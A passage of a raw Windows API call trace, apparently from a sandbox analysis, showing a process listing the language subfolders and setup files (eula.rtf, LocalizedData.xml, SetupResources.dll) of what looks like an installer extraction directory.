ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.645] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.645] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.645] FindClose (in: hFindFile=0x11ba110 | out: hFindFile=0x11ba110) returned 1 [0077.645] GetProcessHeap () returned 0x11a0000 [0077.645] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.645] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1049", cAlternateFileName="")) returned 1 [0077.645] GetProcessHeap () returned 0x11a0000 [0077.645] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.646] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0077.646] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.646] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.646] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.646] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.646] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.646] FindClose (in: hFindFile=0x11ba110 | out: hFindFile=0x11ba110) returned 1 [0077.646] GetProcessHeap () returned 0x11a0000 [0077.646] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.646] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1053", cAlternateFileName="")) returned 1 [0077.647] GetProcessHeap () returned 0x11a0000 [0077.647] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.647] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.647] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.647] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.647] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.647] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.647] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.647] GetProcessHeap () returned 0x11a0000 [0077.648] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.648] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1055", cAlternateFileName="")) returned 1 [0077.648] GetProcessHeap () returned 0x11a0000 [0077.648] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.648] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.648] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.648] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.648] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.648] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.649] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.649] GetProcessHeap () returned 0x11a0000 [0077.649] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.649] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2052", cAlternateFileName="")) returned 1 [0077.649] GetProcessHeap () returned 0x11a0000 [0077.649] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0077.649] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.649] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.649] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.649] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.650] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.650] FindClose (in: hFindFile=0x11ba110 | out: hFindFile=0x11ba110) returned 1 [0077.650] GetProcessHeap () returned 0x11a0000 [0077.650] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.650] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2070", cAlternateFileName="")) returned 1 [0077.650] GetProcessHeap () returned 0x11a0000 [0077.650] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.650] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.650] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.650] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.650] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.651] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.651] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.651] GetProcessHeap () returned 0x11a0000 [0077.651] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.651] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3076", cAlternateFileName="")) returned 1 [0077.651] GetProcessHeap () returned 0x11a0000 [0077.651] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.651] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.651] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.651] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, 